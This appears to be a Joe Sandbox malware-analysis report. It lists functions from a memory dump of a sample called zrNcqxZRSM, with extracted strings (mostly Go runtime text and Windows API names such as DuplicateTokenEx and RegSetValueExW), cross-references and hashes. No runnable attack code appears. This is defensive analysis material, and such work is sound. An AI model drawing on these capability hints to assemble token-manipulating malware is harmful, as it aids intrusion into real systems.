RtlGetCurrentPeb
API String ID: 0-3969437601
Opcode ID: f80799ae6ad54213f538436a30c62698c5f35b9bbac39d1f7d4440544b85e914
Instruction ID: d7c28ed50c546649f1c7ea45f9d35f7896b2d84215845ad1585d0d7a36c7a894
Opcode Fuzzy Hash: f80799ae6ad54213f538436a30c62698c5f35b9bbac39d1f7d4440544b85e914
Instruction Fuzzy Hash: 0232AF7A318BC4C1DB30AB52E4813DAA325F789BC4F404522DE9D17B69DF78C58ADB40

Function 00C7CF60 Relevance: 15.4, Strings: 12, Instructions: 364COMMON

Download Yara Rule

Strings

and tab= top=[...], fp:sse41sse42ssse3MarchApril+0530+0430+0545+0630+0330+0845+1030+1245+1345-0930Localint16int32int64uint8arrayslicefileskeyHexStringFormat[]bytestringGetAceGetACPlistensendtosocket390625Commonsysmontimersefenceselect, not object next= jobs=, xrefs: 00C7D2CF, 00C7D45A
bad symbol tablenon-Go function not in ranges:GODEBUG: value "GetCurrentThreadRtlVirtualUnwindRCodeFormatErrorEnumFontFamiliesW0123456789ABCDEFX0123456789abcdefxreflect.Value.IntAdjustTokenGroupsIsTokenRestrictedLookupAccountSidWCertFindExtensionCryptDecodeO, xrefs: 00C7D34A, 00C7D4CA
locals stack map entries for abi mismatch detected between runtime: impossible type kind unsafe.Slice: len out of rangesubtle.XORBytes: dst too shortGODEBUG: unknown cpu feature "Eastern Standard Time (Mexico)Turks And Caicos Standard TimeCentral Standard Tim, xrefs: 00C7D475
runtime: pcdata is bad ABI description2006-01-02 15:04:05Egypt Standard TimeSudan Standard TimeLibya Standard TimeBahia Standard TimeHaiti Standard TimeYukon Standard TimeAltai Standard TimeIndia Standard TimeSyria Standard TimeRussia Time Zone 11Nepal Standar, xrefs: 00C7D2B3, 00C7D43F
runtime: frame ts set in timertraceback stuck,M3.2.0,M11.1.0invalid argSize<invalid Value>jstmpllitinterptarinsecurepathx509keypairleafx509usepolicieszipinsecurepathRegCreateKeyExWRegDeleteValueW0123456789abcdefDuplicateTokenExOpenProcessTokenRegQueryInfoKeyWR, xrefs: 00C7D394, 00C7D509
(targetpc= , plugin: runtime: g : frame.sp=created by bad argSizemethodargs(i/o timeoutProcessPrngNetShareAddNetShareDelgocachehashgocachetesthttp2clienthttp2serverarchive/tartls10servercrypto/x509archive/zipClassHESIODkernel32.dllAllocConsoleAesEncryptedVirt, xrefs: 00C7D317, 00C7D498
untyped locals missing stackmapbad symbol tablenon-Go function not in ranges:GODEBUG: value "GetCurrentThreadRtlVirtualUnwindRCodeFormatErrorEnumFontFamiliesW0123456789ABCDEFX0123456789abcdefxreflect.Value.IntAdjustTokenGroupsIsTokenRestrictedLookupAccountS, xrefs: 00C7D52C
args stack map entries for invalid runtime symbol tableruntime: no module data for mismatched isSending updates[originating from goroutine traceRegion: alloc too largeCanada Central Standard TimeCen. Australia Standard TimeAus Central W. Standard TimeCentral , xrefs: 00C7D2EF
missing stackmapbad symbol tablenon-Go function not in ranges:GODEBUG: value "GetCurrentThreadRtlVirtualUnwindRCodeFormatErrorEnumFontFamiliesW0123456789ABCDEFX0123456789abcdefxreflect.Value.IntAdjustTokenGroupsIsTokenRestrictedLookupAccountSidWCertFindExten, xrefs: 00C7D3F9, 00C7D579
untyped args out of range no module data in goroutine runtime: seq1=runtime: goid=unsafe.Pointer on zero Valueunknown methodunreachable: mime/multipartRegSetValueExWRCodeNameErrorGetSecurityInfoImpersonateSelfOpenThreadTokenSetSecurityInfoGetAdaptersInfoAdd, xrefs: 00C7D3B7
+)-LM]1=[<{}_y0x./i), )(: 25LlLtLuMnM [("")) ) @s -> Pn=][}]> +"osnil125625NaNfinptrobjgc %: gp *(in n= ) - P m= MPC= < end > ...]:???pc= GadxaesshaavxfmaMayUTCEET+00+01CATWATEATGMTHSTHDT-03-04-05ESTCSTCDTMSTMDT-02EDTASTADTPSTPDTNSTNDT+06+03+, xrefs: 00C7D3D2, 00C7D54F
) @s -> Pn=][}]> +"osnil125625NaNfinptrobjgc %: gp *(in n= ) - P m= MPC= < end > ...]:???pc= GadxaesshaavxfmaMayUTCEET+00+01CATWATEATGMTHSTHDT-03-04-05ESTCSTCDTMSTMDT-02EDTASTADTPSTPDTNSTNDT+06+03+04+07IST+09+08IDT+12PKT+11KST+05JST+10-01-11-1, xrefs: 00C7D332, 00C7D4B3

Memory Dump Source

Source File: 00000000.00000002.3405945385.0000000000C31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.3405906988.0000000000C30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406078049.0000000000CED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406245662.0000000000DDB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406302269.0000000000DDD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406321774.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406340165.0000000000DEF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000DF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E09000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E37000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406420007.0000000000E3B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406474112.0000000000E42000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406492210.0000000000E43000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_zrNcqxZRSM.jbxd

Similarity

API ID:
String ID: (targetpc= , plugin: runtime: g : frame.sp=created by bad argSizemethodargs(i/o timeoutProcessPrngNetShareAddNetShareDelgocachehashgocachetesthttp2clienthttp2serverarchive/tartls10servercrypto/x509archive/zipClassHESIODkernel32.dllAllocConsoleAesEncryptedVirt$ and tab= top=[...], fp:sse41sse42ssse3MarchApril+0530+0430+0545+0630+0330+0845+1030+1245+1345-0930Localint16int32int64uint8arrayslicefileskeyHexStringFormat[]bytestringGetAceGetACPlistensendtosocket390625Commonsysmontimersefenceselect, not object next= jobs=$ args stack map entries for invalid runtime symbol tableruntime: no module data for mismatched isSending updates[originating from goroutine traceRegion: alloc too largeCanada Central Standard TimeCen. Australia Standard TimeAus Central W. Standard TimeCentral $ locals stack map entries for abi mismatch detected between runtime: impossible type kind unsafe.Slice: len out of rangesubtle.XORBytes: dst too shortGODEBUG: unknown cpu feature "Eastern Standard Time (Mexico)Turks And Caicos Standard TimeCentral Standard Tim$ untyped args out of range no module data in goroutine runtime: seq1=runtime: goid=unsafe.Pointer on zero Valueunknown methodunreachable: mime/multipartRegSetValueExWRCodeNameErrorGetSecurityInfoImpersonateSelfOpenThreadTokenSetSecurityInfoGetAdaptersInfoAdd$ untyped locals missing stackmapbad symbol tablenon-Go function not in ranges:GODEBUG: value "GetCurrentThreadRtlVirtualUnwindRCodeFormatErrorEnumFontFamiliesW0123456789ABCDEFX0123456789abcdefxreflect.Value.IntAdjustTokenGroupsIsTokenRestrictedLookupAccountS$) @s -> Pn=][}]> +"osnil125625NaNfinptrobjgc %: gp *(in n= ) - P m= MPC= < end > ...]:???pc= GadxaesshaavxfmaMayUTCEET+00+01CATWATEATGMTHSTHDT-03-04-05ESTCSTCDTMSTMDT-02EDTASTADTPSTPDTNSTNDT+06+03+04+07IST+09+08IDT+12PKT+11KST+05JST+10-01-11-1$+)-LM]1=[<{}_y0x./i), )(: 25LlLtLuMnM [("")) ) @s -> Pn=][}]> +"osnil125625NaNfinptrobjgc %: gp *(in n= ) - P m= MPC= < end > ...]:???pc= GadxaesshaavxfmaMayUTCEET+00+01CATWATEATGMTHSTHDT-03-04-05ESTCSTCDTMSTMDT-02EDTASTADTPSTPDTNSTNDT+06+03+$bad symbol tablenon-Go function not in ranges:GODEBUG: value "GetCurrentThreadRtlVirtualUnwindRCodeFormatErrorEnumFontFamiliesW0123456789ABCDEFX0123456789abcdefxreflect.Value.IntAdjustTokenGroupsIsTokenRestrictedLookupAccountSidWCertFindExtensionCryptDecodeO$missing stackmapbad symbol tablenon-Go function not in ranges:GODEBUG: value "GetCurrentThreadRtlVirtualUnwindRCodeFormatErrorEnumFontFamiliesW0123456789ABCDEFX0123456789abcdefxreflect.Value.IntAdjustTokenGroupsIsTokenRestrictedLookupAccountSidWCertFindExten$runtime: frame ts set in timertraceback stuck,M3.2.0,M11.1.0invalid argSize<invalid Value>jstmpllitinterptarinsecurepathx509keypairleafx509usepolicieszipinsecurepathRegCreateKeyExWRegDeleteValueW0123456789abcdefDuplicateTokenExOpenProcessTokenRegQueryInfoKeyWR$runtime: pcdata is bad ABI description2006-01-02 15:04:05Egypt Standard TimeSudan Standard TimeLibya Standard TimeBahia Standard TimeHaiti Standard TimeYukon Standard TimeAltai Standard TimeIndia Standard TimeSyria Standard TimeRussia Time Zone 11Nepal Standar
API String ID: 0-4034576363
Opcode ID: 89b088dd536f70ef746cdcf90d37396b1706b1249b6577212159465cccac1bd1
Instruction ID: 23cf59ece668221c1d07351954f321c9814453a74eb14ebb2a8f768f53d30e3e
Opcode Fuzzy Hash: 89b088dd536f70ef746cdcf90d37396b1706b1249b6577212159465cccac1bd1
Instruction Fuzzy Hash: 7BE1AC36218B8496DB20EF65E48039EB775FB88794F508522EB8E4376ADF38C945DB10

Function 00C45820 Relevance: 14.1, Strings: 11, Instructions: 359COMMON

Download Yara Rule

Strings

because dotdotdotruntime: npages = invalid skip valueruntime: range = {index out of rangeruntime: gp: gp=runtime: getg: g=forEachP: not done in async preemptbad manualFreeListruntime: textAddr frames elided..., locked to threadruntime.semacreateruntime., xrefs: 00C45CF0
runtime.SetFinalizer: pointer not at beginning of allocated blockreflect: reflect.Value.UnsafePointer on an invalid notinheap pointerruntime.Pinner: found leaking pinned pointer; forgot to call Unpin()?internal/concurrent.HashMapTrie: ran out of hash bits whil, xrefs: 00C45D70
runtime.SetFinalizer: first argument is nilruntime.SetFinalizer: finalizer already setgcBgMarkWorker: unexpected gcMarkWorkerModenon in-use span found with specials bit setgrew heap, but no adequate free space foundroot level max pages doesn't fit in summaryru, xrefs: 00C45E57
nil elem type! to finalizer GC worker initruntime: full=runtime: want=MB; allocated RtlGetVersion, xrefs: 00C45E16
, not a functiongc: unswept span KiB work (bg), mheap.sweepgen=runtime: nelems=workbuf is emptymSpanList.removemSpanList.insertbad special kindbad summary dataruntime: addr = runtime: base = runtime: head = timeBeginPeriod, xrefs: 00C45D50
runtime.SetFinalizer: first argument was allocated into an arenacompileCallback: expected function with one uintptr-sized resultattempted to trace stack of a goroutine this thread does not ownuser arena chunk size is not a multiple of the physical page sizerun, xrefs: 00C45E05
runtime.SetFinalizer: pointer not in allocated blockruntime: use of FixAlloc_Alloc before FixAlloc_Initspan set block with unpopped elements found in resetruntime: GetQueuedCompletionStatusEx failed (errno= runtime: NtCreateWaitCompletionPacket failed; errno=, xrefs: 00C45DF4
runtime.SetFinalizer: second argument is gcSweep being done but phase is not GCoffobjects added out of order or overlappingmheap.freeSpanLocked - invalid stack freemheap.freeSpanLocked - invalid span stateattempted to add zero-sized address rangeruntime: block, xrefs: 00C45D5F
, not pointer != sweepgen MB globals, work.nproc= work.nwait= nStackRoots= flushedWork double unlock s.spanclass= MB) workers=min too large-byte block (runtime: val=runtime: seq=fatal error: idlethreads= syscalltick=load64 failedxadd64 failedxchg64 failed, xrefs: 00C45E37
runtime.SetFinalizer: first argument is failed to acquire lock to reset capacitymarkWorkerStop: unknown mark worker modecannot free workbufs when work.full != 0runtime: out of memory: cannot allocate runtime.preemptM: duplicatehandle failedstopTheWorld: broken, xrefs: 00C45E46
runtime.SetFinalizer: cannot pass too many pages allocated in chunk?mspan.ensureSwept: m is not lockedruntime: source value is too largeVirtualQuery for stack base failedforEachP: sched.safePointWait != 0schedule: spinning with local workentersyscallblock inco, xrefs: 00C45C6C, 00C45CC3, 00C45D2B

Memory Dump Source

Source File: 00000000.00000002.3405945385.0000000000C31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.3405906988.0000000000C30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406078049.0000000000CED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406245662.0000000000DDB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406302269.0000000000DDD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406321774.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406340165.0000000000DEF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000DF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E09000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E37000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406420007.0000000000E3B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406474112.0000000000E42000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406492210.0000000000E43000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_zrNcqxZRSM.jbxd

Similarity

API ID:
String ID: because dotdotdotruntime: npages = invalid skip valueruntime: range = {index out of rangeruntime: gp: gp=runtime: getg: g=forEachP: not done in async preemptbad manualFreeListruntime: textAddr frames elided..., locked to threadruntime.semacreateruntime.$, not a functiongc: unswept span KiB work (bg), mheap.sweepgen=runtime: nelems=workbuf is emptymSpanList.removemSpanList.insertbad special kindbad summary dataruntime: addr = runtime: base = runtime: head = timeBeginPeriod$, not pointer != sweepgen MB globals, work.nproc= work.nwait= nStackRoots= flushedWork double unlock s.spanclass= MB) workers=min too large-byte block (runtime: val=runtime: seq=fatal error: idlethreads= syscalltick=load64 failedxadd64 failedxchg64 failed$nil elem type! to finalizer GC worker initruntime: full=runtime: want=MB; allocated RtlGetVersion$runtime.SetFinalizer: cannot pass too many pages allocated in chunk?mspan.ensureSwept: m is not lockedruntime: source value is too largeVirtualQuery for stack base failedforEachP: sched.safePointWait != 0schedule: spinning with local workentersyscallblock inco$runtime.SetFinalizer: first argument is failed to acquire lock to reset capacitymarkWorkerStop: unknown mark worker modecannot free workbufs when work.full != 0runtime: out of memory: cannot allocate runtime.preemptM: duplicatehandle failedstopTheWorld: broken$runtime.SetFinalizer: first argument is nilruntime.SetFinalizer: finalizer already setgcBgMarkWorker: unexpected gcMarkWorkerModenon in-use span found with specials bit setgrew heap, but no adequate free space foundroot level max pages doesn't fit in summaryru$runtime.SetFinalizer: first argument was allocated into an arenacompileCallback: expected function with one uintptr-sized resultattempted to trace stack of a goroutine this thread does not ownuser arena chunk size is not a multiple of the physical page sizerun$runtime.SetFinalizer: pointer not at beginning of allocated blockreflect: reflect.Value.UnsafePointer on an invalid notinheap pointerruntime.Pinner: found leaking pinned pointer; forgot to call Unpin()?internal/concurrent.HashMapTrie: ran out of hash bits whil$runtime.SetFinalizer: pointer not in allocated blockruntime: use of FixAlloc_Alloc before FixAlloc_Initspan set block with unpopped elements found in resetruntime: GetQueuedCompletionStatusEx failed (errno= runtime: NtCreateWaitCompletionPacket failed; errno=$runtime.SetFinalizer: second argument is gcSweep being done but phase is not GCoffobjects added out of order or overlappingmheap.freeSpanLocked - invalid stack freemheap.freeSpanLocked - invalid span stateattempted to add zero-sized address rangeruntime: block
API String ID: 0-1561013441
Opcode ID: 8db5b337056d0c490d7dc63735cdceec56d0ca96668a2dff016c4627e52adc0e
Instruction ID: b0141354f552f855af99056d8835b0122a45a5aa9d374c11e2c61826c081b3ad
Opcode Fuzzy Hash: 8db5b337056d0c490d7dc63735cdceec56d0ca96668a2dff016c4627e52adc0e
Instruction Fuzzy Hash: 9FE1D172605F84C6DB209F51E4803AEB7A4F785B80F488636DB9D17B96DF38C984D710

Function 000001A2671D54A8 Relevance: 13.3, APIs: 10, Instructions: 790COMMONLIBRARYCODE

Download Yara Rule

APIs

_snprintf.LIBCMT ref: 000001A2671D5615
_snprintf.LIBCMT ref: 000001A2671D56D6
_snprintf.LIBCMT ref: 000001A2671D56F3
_snprintf.LIBCMT ref: 000001A2671D5948
_snprintf.LIBCMT ref: 000001A2671D5A58
_snprintf.LIBCMT ref: 000001A2671D5B16
_snprintf.LIBCMT ref: 000001A2671D5BCE
_snprintf.LIBCMT ref: 000001A2671D5972

Part of subcall function 000001A2671DA1AC: _errno.LIBCMT ref: 000001A2671DA1E3
Part of subcall function 000001A2671DA1AC: _invalid_parameter_noinfo.LIBCMT ref: 000001A2671DA1EE

_snprintf.LIBCMT ref: 000001A2671D5BE6
_snprintf.LIBCMT ref: 000001A2671D5CA4

Memory Dump Source

Source File: 00000000.00000002.3409364976.000001A2671C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001A2671C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a2671c0000_zrNcqxZRSM.jbxd

Yara matches

Similarity

API ID: _snprintf$_errno_invalid_parameter_noinfo
String ID:
API String ID: 3442832105-0
Opcode ID: 20d2a095a1d6b5f4f89e7e703a9ab3fbd6dd3da643bda0403b26bb2339cabf2e
Instruction ID: 2e23b1267e31a531051a8bd6e42c2d08eb52030025fe1e340f7512fbdf3dd16e
Opcode Fuzzy Hash: 20d2a095a1d6b5f4f89e7e703a9ab3fbd6dd3da643bda0403b26bb2339cabf2e
Instruction Fuzzy Hash: 9F52C530619D898BF75AAB2CE4427E1F3E0FFA5305F445259DD89C7192FB34E5828B82

Function 00C524F0 Relevance: 10.4, Strings: 8, Instructions: 375COMMON

Download Yara Rule

Strings

nalloc= nfreed=[signal newval= mcount= bytes, stack=[ minLC= maxpc= stack=[ minutes status= etypes avx512bwavx512vlThursdaySaturdayFebruaryNovemberDecember%!Month(nil Poolnetedns0wsaioctlgo/typesnet/httpgo/buildtlskyberx509sha1ClassANYQuestionntdll.dllGdi, xrefs: 00C52AC8
swept cached spanmarkBits overflowruntime: summary[runtime: level = , p.searchAddr = RtlGetCurrentPeb, xrefs: 00C529EF
previous allocCount=, levelBits[level] = runtime: searchIdx = defer on system stackpanic on system stackasync stack too largestartm: m is spinningstartlockedm: m has pfindrunnable: wrong ppreempt at unknown pcreleasep: invalid argcheckdead: runnable gruntime:, xrefs: 00C52AE5
sweep increased allocation countremovespecial on invalid pointergetWeakHandle on invalid pointerruntime: root level max pages = NtAssociateWaitCompletionPacket, xrefs: 00C52B2F
sweepgen= sweepgen , bound = , limit = exitThreadBad varintGC forced runqueue= stopwait= runqsize= gfreecnt= throwing= spinning=atomicand8float64nanfloat32nanException ptrSize= targetpc= until pc=unknown pcruntime: ggoroutine %!Weekday(complex128t.Kind == , xrefs: 00C52A35
mheap.sweepgen=runtime: nelems=workbuf is emptymSpanList.removemSpanList.insertbad special kindbad summary dataruntime: addr = runtime: base = runtime: head = timeBeginPeriod, xrefs: 00C52A50
sweep: tried to preserve a user arena spanruntime: blocked write on closing polldescacquireSudog: found s.elem != nil in cachefatal error: cgo callback before cgo callon a locked thread with no template threadunexpected signal during runtime executiontraceSto, xrefs: 00C529DE
mspan.sweep: bad span state after sweepruntime: blocked write on free polldescPowerRegisterSuspendResumeNotification, xrefs: 00C52A78

Memory Dump Source

Source File: 00000000.00000002.3405945385.0000000000C31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.3405906988.0000000000C30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406078049.0000000000CED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406245662.0000000000DDB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406302269.0000000000DDD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406321774.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406340165.0000000000DEF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000DF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E09000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E37000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406420007.0000000000E3B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406474112.0000000000E42000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406492210.0000000000E43000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_zrNcqxZRSM.jbxd

Similarity

API ID:
String ID: mheap.sweepgen=runtime: nelems=workbuf is emptymSpanList.removemSpanList.insertbad special kindbad summary dataruntime: addr = runtime: base = runtime: head = timeBeginPeriod$ nalloc= nfreed=[signal newval= mcount= bytes, stack=[ minLC= maxpc= stack=[ minutes status= etypes avx512bwavx512vlThursdaySaturdayFebruaryNovemberDecember%!Month(nil Poolnetedns0wsaioctlgo/typesnet/httpgo/buildtlskyberx509sha1ClassANYQuestionntdll.dllGdi$ previous allocCount=, levelBits[level] = runtime: searchIdx = defer on system stackpanic on system stackasync stack too largestartm: m is spinningstartlockedm: m has pfindrunnable: wrong ppreempt at unknown pcreleasep: invalid argcheckdead: runnable gruntime:$ sweepgen= sweepgen , bound = , limit = exitThreadBad varintGC forced runqueue= stopwait= runqsize= gfreecnt= throwing= spinning=atomicand8float64nanfloat32nanException ptrSize= targetpc= until pc=unknown pcruntime: ggoroutine %!Weekday(complex128t.Kind == $mspan.sweep: bad span state after sweepruntime: blocked write on free polldescPowerRegisterSuspendResumeNotification$sweep increased allocation countremovespecial on invalid pointergetWeakHandle on invalid pointerruntime: root level max pages = NtAssociateWaitCompletionPacket$sweep: tried to preserve a user arena spanruntime: blocked write on closing polldescacquireSudog: found s.elem != nil in cachefatal error: cgo callback before cgo callon a locked thread with no template threadunexpected signal during runtime executiontraceSto$swept cached spanmarkBits overflowruntime: summary[runtime: level = , p.searchAddr = RtlGetCurrentPeb
API String ID: 0-1695993838
Opcode ID: dcd2108334bab08362df4fb8a86c4d2a554313f7fa14ed308c9182f5a19fe358
Instruction ID: 51ac557542e3959fed8a30fb0522189e1eafae91101321f6fecc797b7012aac9
Opcode Fuzzy Hash: dcd2108334bab08362df4fb8a86c4d2a554313f7fa14ed308c9182f5a19fe358
Instruction Fuzzy Hash: EBF1B537209B8486DB20DF25E4803AE77A1F78AB85F444522EE8E43765DF38C59AD750

Function 00C85B60 Relevance: 7.9, Strings: 6, Instructions: 449COMMON

Download Yara Rule

Strings

fp= gp= mp=) m=ermssse3avx2bmi1bmi2JuneJulyEESTSASTAKSTAKDTACSTACDTAESTAEDTAWSTCESTNZSTNZDTboolint8uintchanfunccallkind on icmpigmptimeC:\PyC:\pyGetDCfalse<nil>ErrorntohsCall 1562578125GreekclosedefersweeptestRtestWexecWhchanexecRschedsudogtimergscanmheaptrac, xrefs: 00C86192
...]:???pc= GadxaesshaavxfmaMayUTCEET+00+01CATWATEATGMTHSTHDT-03-04-05ESTCSTCDTMSTMDT-02EDTASTADTPSTPDTNSTNDT+06+03+04+07IST+09+08IDT+12PKT+11KST+05JST+10-01-11-12-08-09+13CETBSTMSK-06+14StdDltintmapcgodnstcpudp\\.\\?\??netopenreadtruebind3125-Inf+Inffilesyn, xrefs: 00C85FD7
sp= sp: lr: fp= gp= mp=) m=ermssse3avx2bmi1bmi2JuneJulyEESTSASTAKSTAKDTACSTACDTAESTAEDTAWSTCESTNZSTNZDTboolint8uintchanfunccallkind on icmpigmptimeC:\PyC:\pyGetDCfalse<nil>ErrorntohsCall 1562578125GreekclosedefersweeptestRtestWexecWhchanexecRschedsudogtimergs, xrefs: 00C861B2
pc=: p=cas1cas2cas3cas4cas5cas6 at m= sp= sp: lr: fp= gp= mp=) m=ermssse3avx2bmi1bmi2JuneJulyEESTSASTAKSTAKDTACSTACDTAESTAEDTAWSTCESTNZSTNZDTboolint8uintchanfunccallkind on icmpigmptimeC:\PyC:\pyGetDCfalse<nil>ErrorntohsCall 1562578125Greekclosedefersweepte, xrefs: 00C861D2
non-Go function at pc=Sao Tome Standard TimeAleutian Standard TimeParaguay Standard TimeMountain Standard TimeAtlantic Standard TimePakistan Standard TimeSakhalin Standard TimeGeorgian Standard TimeCaucasus Standard TimeTasmania Standard TimeDateline Standard , xrefs: 00C862FB
) @s -> Pn=][}]> +"osnil125625NaNfinptrobjgc %: gp *(in n= ) - P m= MPC= < end > ...]:???pc= GadxaesshaavxfmaMayUTCEET+00+01CATWATEATGMTHSTHDT-03-04-05ESTCSTCDTMSTMDT-02EDTASTADTPSTPDTNSTNDT+06+03+04+07IST+09+08IDT+12PKT+11KST+05JST+10-01-11-1, xrefs: 00C8602D

Memory Dump Source

Source File: 00000000.00000002.3405945385.0000000000C31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.3405906988.0000000000C30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406078049.0000000000CED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406245662.0000000000DDB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406302269.0000000000DDD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406321774.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406340165.0000000000DEF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000DF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E09000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E0F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406354835.0000000000E37000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406420007.0000000000E3B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406474112.0000000000E42000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3406492210.0000000000E43000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_zrNcqxZRSM.jbxd

Similarity

API ID:
String ID: fp= gp= mp=) m=ermssse3avx2bmi1bmi2JuneJulyEESTSASTAKSTAKDTACSTACDTAESTAEDTAWSTCESTNZSTNZDTboolint8uintchanfunccallkind on icmpigmptimeC:\PyC:\pyGetDCfalse<nil>ErrorntohsCall 1562578125GreekclosedefersweeptestRtestWexecWhchanexecRschedsudogtimergscanmheaptrac$ pc=: p=cas1cas2cas3cas4cas5cas6 at m= sp= sp: lr: fp= gp= mp=) m=ermssse3avx2bmi1bmi2JuneJulyEESTSASTAKSTAKDTACSTACDTAESTAEDTAWSTCESTNZSTNZDTboolint8uintchanfunccallkind on icmpigmptimeC:\PyC:\pyGetDCfalse<nil>ErrorntohsCall 1562578125Greekclosedefersweepte$ sp= sp: lr: fp= gp= mp=) m=ermssse3avx2bmi1bmi2JuneJulyEESTSASTAKSTAKDTACSTACDTAESTAEDTAWSTCESTNZSTNZDTboolint8uintchanfunccallkind on icmpigmptimeC:\PyC:\pyGetDCfalse<nil>ErrorntohsCall 1562578125GreekclosedefersweeptestRtestWexecWhchanexecRschedsudogtimergs$) @s -> Pn=][}]> +"osnil125625NaNfinptrobjgc %: gp *(in n= ) - P m= MPC= < end > ...]:???pc= GadxaesshaavxfmaMayUTCEET+00+01CATWATEATGMTHSTHDT-03-04-05ESTCSTCDTMSTMDT-02EDTASTADTPSTPDTNSTNDT+06+03+04+07IST+09+08IDT+12PKT+11KST+05JST+10-01-11-1$...]:???pc= GadxaesshaavxfmaMayUTCEET+00+01CATWATEATGMTHSTHDT-03-04-05ESTCSTCDTMSTMDT-02EDTASTADTPSTPDTNSTNDT+06+03+04+07IST+09+08IDT+12PKT+11KST+05JST+10-01-11-12-08-09+13CETBSTMSK-06+14StdDltintmapcgodnstcpudp\\.\\?\??netopenreadtruebind3125-Inf+Inffilesyn$non-Go function at pc=Sao Tome Standard TimeAleutian Standard TimeParaguay Standard TimeMountain Standard TimeAtlantic Standard TimePakistan Standard TimeSakhalin Standard TimeGeorgian Standard TimeCaucasus Standard TimeTasmania Standard TimeDateline Standard
API String ID: 0-1238010698
Opcode ID: 1aa2a531fc0bce88022933346237352eed96aff121481ba12eb5bb24e06c24a5
Instruction ID: e0bd48dcb1986f6b49c5e654d9e3354ecdcf4e6810bfd9874cf09588c311cfe0
Opcode Fuzzy Hash: 1aa2a531fc0bce88022933346237352eed96aff121481ba12eb5bb24e06c24a5
